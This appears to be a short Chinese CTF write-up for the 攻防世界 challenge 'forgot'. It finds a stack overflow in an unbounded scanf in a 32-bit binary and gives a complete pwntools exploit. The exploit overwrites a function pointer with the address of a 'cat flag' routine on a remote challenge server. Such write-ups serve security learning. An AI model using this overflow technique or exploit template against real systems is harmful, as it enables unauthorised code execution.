攻防世界2

forgot

发现是32位文件

fgets(s, 32, stdin)限制读入32位字符,无法利用

__isoc99_scanf("%s", v2) 典型的栈溢出

发现cat flag

覆盖v2-v3,覆盖为cat flag的函数地址

exp:

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('61.147.171.105','56662')
door = 0x80486CC
io.recvuntil(b'>')
payload = b'aaaa'
io.sendline(payload)
io.recvuntil(b'>')
padding = b'a'*(0x74-0x54+0x4)
payload1 = padding + p32(door)
io.sendline(payload1)
io.interactive()
相关推荐
YMWM_7 分钟前
服务器上的cursor同步本地插件
运维·服务器·chrome
Trouvaille ~9 分钟前
【项目篇】从零手写高并发服务器(十):性能测试与项目总结
linux·运维·c++·reactor·性能测试·高并发服务器·webbench
C++ 老炮儿的技术栈9 分钟前
Tcp客户端报错原因分析
linux·c语言·网络·c++·网络协议·tcp/ip
co_wait11 分钟前
【C语言】Linux系统文件操作函数基本使用
linux·c语言·microsoft
xiaomo224915 分钟前
javaee-网络原理(理论)
linux·服务器·网络
炘爚19 分钟前
Linux 进程管理 GCC/GDB 编译调试
linux·运维·服务器
不想好好取名字20 分钟前
Ubuntu apt启用dbg符号库
linux·运维·ubuntu
java资料站20 分钟前
钉钉远程一键执行服务器启动脚本
运维·服务器·钉钉
JiMoKuangXiangQu20 分钟前
Linux:EtherCAT IgH 适配笔记
linux·ethercat igh
江湖有缘1 小时前
基于开发者空间部署Eigenfocus项目管理工具【华为开发者空间】
运维·服务器·华为